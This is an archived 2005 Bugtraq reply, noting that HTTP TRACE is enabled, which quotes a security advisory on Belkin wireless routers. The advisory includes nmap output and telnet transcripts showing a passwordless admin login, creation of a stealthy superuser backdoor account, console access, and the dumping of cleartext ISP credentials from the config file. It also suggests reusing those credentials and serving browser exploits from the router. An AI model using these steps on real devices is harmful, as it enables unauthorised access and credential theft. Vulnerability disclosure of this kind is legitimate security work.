Date: Sun, 24 Jul 2005 23:04:10 +0100
From: "E. Kellinis" <me@...her.org.uk>
To: bugtraq@...urityfocus.com
Subject: Re: several vulnerabilities present in Belkin wireless routers


just noticed that the TRACE http method is enabled in the router's 
webserver as well



m123303@...urityfocus.com wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Advisory name: 
>several vulnerabilities present in Belkin wireless routers
>
>Overall severity rating:
>HIGH risk
>
>Devices affected: 
>"belkin54g" family of wireless routers 
>
>4 main vulnerabilities are included in this advisory:
>- - default telnet backdoor
>- - password-less administrative account
>- - verbose messages in telnet sessions reveal filesystem structure and
>possible "interesting" files
>- - cleartext sensitive information stored in config file (config.icf)
>
>Date: 
>July 15, 2005
>
>Author:
>pagvac (Adrian Pastor)
>
>Description:
>I've been able to identify several important vulnerabilities in
>different Belkin wireless routers. These vulnerabilities have been
>tested and verified in at least three different Belkin wireless
>router models which are very similar, not only in the way they look
>but also in their functionalities. 
>
>These Belkin wireless routers are quite popular among home users
>probably due to their affordable price and easiness of use. This
>means that the following vulnerabilities and exploits should be
>present in a big number of devices available out there which should
>be very easy to find for wardrivers. 
>
>Note: these routers use a default SSID of "belkin54g". 
>
>- From here, I'd like to encourage other computer security enthusiasts
>to test what I found in their Belkin wireless routers and also let
>everyone know that positive and negative comments about the content
>of this advisory are welcome.
>
>The first problem is the existance of a default telnet backdoor
>running on the usual 23/tcp port. From my experience, telnet
>interfaces are NOT enabled by default in wireless routers but rather,
>they usually need to be enabled from their administrative web
>interfaces manually:
>
>
><Start of output>
>
>Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
>18:34 BST
>Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
>[1663 ports] at 18:34
>Discovered open port 53/tcp on 192.168.2.1
>Discovered open port 80/tcp on 192.168.2.1
>Discovered open port 23/tcp on 192.168.2.1
>The SYN Stealth Scan took 1.93s to scan 1663 total ports.
>Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
>ports] at 18:34
>The UDP Scan took 1.92s to scan 1478 total ports.
>Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
>Interesting ports on BelkinModem.Belkin (192.168.2.1):
>(The 3133 ports scanned but not shown below are in state: closed)
>PORT     STATE         SERVICE
>23/tcp   open          telnet
>53/tcp   open          domain
>53/udp   open|filtered domain
>67/udp   open|filtered dhcpserver
>80/tcp   open          http
>123/udp  open|filtered ntp
>520/udp  open|filtered route
>1900/udp open|filtered UPnP
>MAC Address: 00:11:50:XX:XX:XX (Belkin)
>
></End of output>
>
>
>This device is usually configured with a default IP address of
>192.168.2.1. The interesting thing about the telnet interface in this
>case is that it provides users with many powerful commands that are
>NOT accessible through the administrative web interface. Again, let
>me remind you that the telnet service is running straight out of the
>box so no user intervention is needed. 
>
>The telnet service, just like the web interface, can be accessed by
>default with root privileges using a "null" password. When I say
>"null" I mean empty, in other words: no password. The difference is
>that the web interface sends the username to the system so only the
>password is required from the user. In this case, all the user needs
>to do is click on the "Submit" button after accessing
>http://192.168.2.1 without entering any password AT ALL. In the case
>of the telnet service, the authentication is different in the sense
>that the system prompts the user for BOTH, username and password. The
>right combination is admin/"null", where "null" is an empty password
>(just press <enter> when prompted for password):
>
><Start of output>
>
># telnet 192.168.2.1
>
>Trying 192.168.2.1...
>Connected to 192.168.2.1.
>Escape character is '^]'.
>
>                ,vvvdP9P???^   ,,,
>              vvd###P^`^         vvvvv v
>         vv#####?^                  ????####vv,
>      vv####??     ,vvvdP???^  ,,,        ??##^
>     v#####?    ,vvd##P?^        #?#v#vvv
>   v#####?    v###P^    ,vvv,        '?#?,
>  ######?   ####?^ ,vd#P?^     `???##
>  #####?   v####  ,d##P^           ''
> ######   v####  ]###L                   _   _          _            
>     ___
> #####?   v####  ]##L                   /   / \  |\ |  |_  \/   /\  
>|\ |   |
> ######    ####  ]###L                  \_  \_/  | \|  |_  /\  /--\ 
>| \|   |
> ?#####v   ####v  ]##h,            ,,
>  ?#####    ?###h,  `9#hv,     ,vv###
>    ######    #####L    ]###L        ,v#v'
>    ?#####vv    ?9##hv,        ,,vvvv###'
>       ?#####vv     `??9P\vv,   ^         vv##,
>          ######                       #######L
>            ??###hvv,          ,vvv#?##?????
>                `????9hdhvv,
>
>Login: admin
><enter>
></End of output>
>
>
>As it can be seen, the OS firmware is developed by Conexant, although
>the routers themselves are from Belkin. After researching on both
>Belkin and Conexant websites I found nothing about the OS running in
>these devices and ways to configure them through telnet. However, the
>console mode shows many tools that are available in GNU/Linux
>systems, indicating that this is the type of system running behind
>the scenes.
>
>After logging in, the user is immediately granted root privileges on
>the system. There are many interesting things an attacker can do at
>this point. Most of the interesting functions are under the "system"
>commands menu. In order to see all the available commands enter "?". 
>
>
><Start of output>
>
>- --> ?
>802.1x           802.1x port based authentication
>agent            Get a file from a remote host
>autoprov
>bridge           Configure layer 2 bridge
>console          Console access
>dhcpclient       DHCP client configuration commands
>dhcpserver       DHCP server configuration commands
>diagnosticTest
>dnsclient        DNS client configuration commands
>dnsrelay         DNS relay configuration
>ethernet         Commands to configure ethernet transports
>firewall         Firewall configuration commands
>help             Top level CLI help
>igmp
>imdebug          Directly access the information model
>ip               Configure IP router
>logger           Log to a remote host using syslog
>nat              NAT configuration commands
>port             Physical port configuration commands
>pppoa            PPP over ATM configuration
>pppoe
>radclient        RADIUS Client Configuration commands
>rfc1483          Commands to configure RFC1483 transports
>security         Security configuration commands not specific to NAT
>or firewall
>sntpclient       Simple Network Time Protocol Client commands
>source           Read a file of commands
>system           System administration commands
>transports       Transport configuration commands
>upnp             UPnP configuration commands
>user             User commands
>webserver        Webserver configuration commands
>wpa              Configure WPA (Wireless Protected Access)
>- -->
>
></End of output>
>
>
>To see the available flags/options for a certain command, enter the
>name of the command followed by "?" again and so on:
>
>
><Start of output>
>
>- --> system ?
>add              Add a user to the system
>auto-update      Update device firmware automatically from a remote
>server
>config           Configuration file maintenance
>cpuload          Show current CPU loading
>delete           Remove system users
>info             Display hardware/software information
>legal
>list             List system information
>log              Set logging options
>restart          Restart system (same as pressing reset)
>set              Set user privileges
>
></End of output>
>
>
>The first exploit an attacker could perform is to add a backdoor
>account with administrative privileges:
>
>
><Start of output>
>
>- --> system list logins
>
>Users:
>                      May      May conf.    May       Access
> ID  |   Name     |  Conf.   |   web    |  Dialin  |   Level    | 
>Comment
>- -----|------------|----------|----------|----------|------------|-----
>- --------
>   1 | admin      | ENABLED  | ENABLED  | disabled | superuser  |
>Admin user
>- ----------------------------------------------------------------------
>- ---------
>
>- --> system set user guest access superuser
>
>
>- --> system list logins
>
>Users:
>                      May      May conf.    May       Access
> ID  |   Name     |  Conf.   |   web    |  Dialin  |   Level    | 
>Comment
>- -----|------------|----------|----------|----------|------------|-----
>- --------
>   1 | admin      | ENABLED  | ENABLED  | disabled | superuser  |
>Admin user
>   2 | guest      | ENABLED  | ENABLED  | disabled | superuser  |
>Created by CLI
>- ----------------------------------------------------------------------
>- ---------
>
>
>- --> system set login guest maydialin enabled
>
>
>- --> system list logins
>
>Users:
>                      May      May conf.    May       Access
> ID  |   Name     |  Conf.   |   web    |  Dialin  |   Level    | 
>Comment
>- -----|------------|----------|----------|----------|------------|-----
>- --------
>   1 | admin      | ENABLED  | ENABLED  | disabled | superuser  |
>Admin user
>   2 | guest      | ENABLED  | ENABLED  | ENABLED  | superuser  |
>Created by CLI
>- ----------------------------------------------------------------------
>- ---------
>
><End of output>
>
>
>In this case the attacker first lists the avaialable accounts on the
>system and then creates an acccount called "guest" assigning
>superuser privileges to it. After that, the attacker also gives
>dialin permissions to this new backdoor account. In reality, if an
>attacker doesn't want to be loud, he/she would probably use an
>account name that doesn't attract the attention from the owner of the
>router. Such account could be called something like "test", "guest",
>"manager", "default", "root", or "administrator". In this case the
>attacker chose "guest".
>
>I'd like to say that I don't exactly know what the system means by
>"May Dialin". I simply confirmed during my tests that an attacker can
>indeed assign "dialin" privileges to a newly created superuser
>account and use it to connect to the router through the telnet
>interface with root privileges. 
>
>I suspect that the "dialin" permissions are related to either one of
>the following:
>
>- - permissions to allow a given account to connect to the router 
>- - a dialin interface which can be used by the administrator to dial
>the router from the PSTN (telephone network) provided that the router
>is connected to a telephone line. 
>
>If anyone has played with this option in Belkin routers, please send
>me your comments. Due to the lack of documentation available about
>the telnet interface of these routers, I could not find further
>information on "dialin" permissions.
>
>After adding the backdoor account the attacker can log into the
>router through telnet using this new account. After that, the
>attacker can add a password with the "user password" command:
>
>
><Start of output>
>
>- --> user password
>Enter new password: ********
>   Again to verify: ********
>
></End of output>
>
>
>The second interesting thing that an attacker could do is to browse
>the filesystem and dump the config file on the screen. The default
>name of the config file of these routers is "config.icf". This file
>can be obtained in two ways:
>
>- - from the web interface (http://192.168.2.1) by clicking on "Save
>configuration"
>- - through the telnet interface by browsing the filesystem in the
>"console enable" mode
>
>After accessing the "console enable" mode the user is provided with a
>bunch of powerful commands, including popular Linux/GNU tools such as
>"cat". This is how to access the console mode (notice how "?" is used
>to list available options for the "console" command):
>
>
><Start of output>
>
>- --> console ?
>enable           Enter console mode
>process          Execute console command
>
>
>- --> console enable
>Switching from CLI to console mode - type 'exit' to return
>
>Quantum>
>
>
></End of output>
>
>
>
>The way I found where the config file was located was NOT by browsing
>the filesystem manually with "cd" and "ls" commands, but rather by
>exploiting an interesting behavior of these routers. Basically, when
>you save configuration files from the web interface, make invalid
>http requests, or save system settings (from the web interface as
>well), the system will dump messages on the telnet interface. For
>instance, if you connect to the telnet service and save the
>configuration settings from the web interface, the following message
>will be dumped on the telnet session:
>
><Start of output>
>
>Saving to backup configuration //isfs/im.conf.backup
>
></End of output>
>
>
>The following error was dumped after playing with invalid requests:
>
>
><Start of output>
>
>Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
>not found or wrong type
>
></End of output>
>
>
>I suggest playing with the web interface while having the telnet
>session open to find interesting files and directories as an
>alternative to manually browsing the filesystem. Also, it might be
>fun to try MITM proxy attacks against the router's web interface with
>tools such as Achilles or Paros. This would allow us to modify the
>inputs included in the POST requests which would normally be
>restricted by the client-side forms. Doing this should hopefully dump
>some interesting errors on the telnet session. 
>
>The following are some of the directories present in the filesystem:
>
>/isfs/
>/shared/
>/webconfig/images/
>/webconfig/styles/
>/webconfig/styles/
>/webconfig/update/
>
>
>
>Many tools are available in the "console enable" mode. In this case,
>I used "cat" to dump sensitive information found in the config file.
>Remember that a backup of the configuration file can be obtained from
>/isfs/im.conf.backup.
>
>Interesting things which I found in these file are the following:
>- - hostnames and IP addresses from the DNS table (these are computers
>that are connected in the 	  present and have been connected in the
>past to the router)
>- - ISP account configuration including username and password (yes,
>this is all in cleartext as well!)
>
>The following output is an example of DNS entries extracted from the
>config file. Note that the original MAC addresses, hostnames,
>username and password have been modified for privacy reasons:
>
><Start of output>
>
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName1ipv4
>	A hostName computerName1
>	A ipaddr 192.168.2.21
>	A macAddress XX:XX:XX:XX:XX:XX
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName2ipv4
>	A hostName computerName2
>	A ipaddr 192.168.2.6
>	A macAddress XX:XX:XX:XX:XX:XX
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName3ipv4
>	A hostName computerName3
>	A ipaddr 192.168.2.4
>	A macAddress XX:XX:XX:XX:XX:XX
>N ImDnsRelayLanHostEntry
>ImDnsRelay.ImDnsRelayLanHostEntries.computerName4ipv4
>	A hostName computerName4
>	A ipaddr 192.168.2.7
>	A macAddress XX:XX:XX:XX:XX:XX
>
></End of output>
>
>
>The following are some of the settings related to the ISP account
>configuration including sensitive information such as username and
>password in the clear:
>
>
><Start of output>
>
>A weLoginName myname.mysurname@...l.ispdomain.com
>A weLoginPassword this-is-my-password-in-the-clear
>A weLoginAuth chap
>
></End of output>
>
>
>I'd like to stress that the consequences of storing the username,
>password and authentication protocol in the clear can be exploited in
>very malicious ways. For instance, the first thing that an attacker
>can exploit is the fact that ISPs usually give users some web
>services after they get their DSL connections set up. I'm talking
>about things such as webmail and account management services. By
>default, these services use the same password as the one used on the
>ISP account (which can be obtained from the config file). In other
>cases, these passwords also remain the same because it's just easier
>for users to have the same password for all their ISP-related
>accounts. 
>
>Also, let's remember that the same password could also be used by the
>user in other services such as messengers, ftp servers and so on.
>This type of information could be easily obtained by an attacker
>sniffing the network either with a wireless sniffer such as Airopeek
>NX or by performing a MITM attack through ARP poisoning with a tool
>like Cain.
>
>I'm sure that if other people play more with these routers they can
>find other vulnerabilities, exploits and interesting functions.
>Personally, I was surprised by the power that these Belkin routers
>give you once they're accessed through the telnet interface.
>
>Because most of these "belkin54" family of routers give you root
>privileges by default through the telnet interface, it is really up
>to the attacker on what to exploit. It's just a matter of imagination
>and curiosity. Some ideas could include redirecting users to the
>router's web server whose files could be previously replaced by
>scripts that would exploit the latest vulnerabilities present in the
>most popular web browsers.
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
>
>iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtVwqHW0AoMIK
>Yknf7sFxGJw7hbIK1oX642EB
>=5Mdx
>-----END PGP SIGNATURE-----
>
>
>  
>

Powered by blists - more mailing lists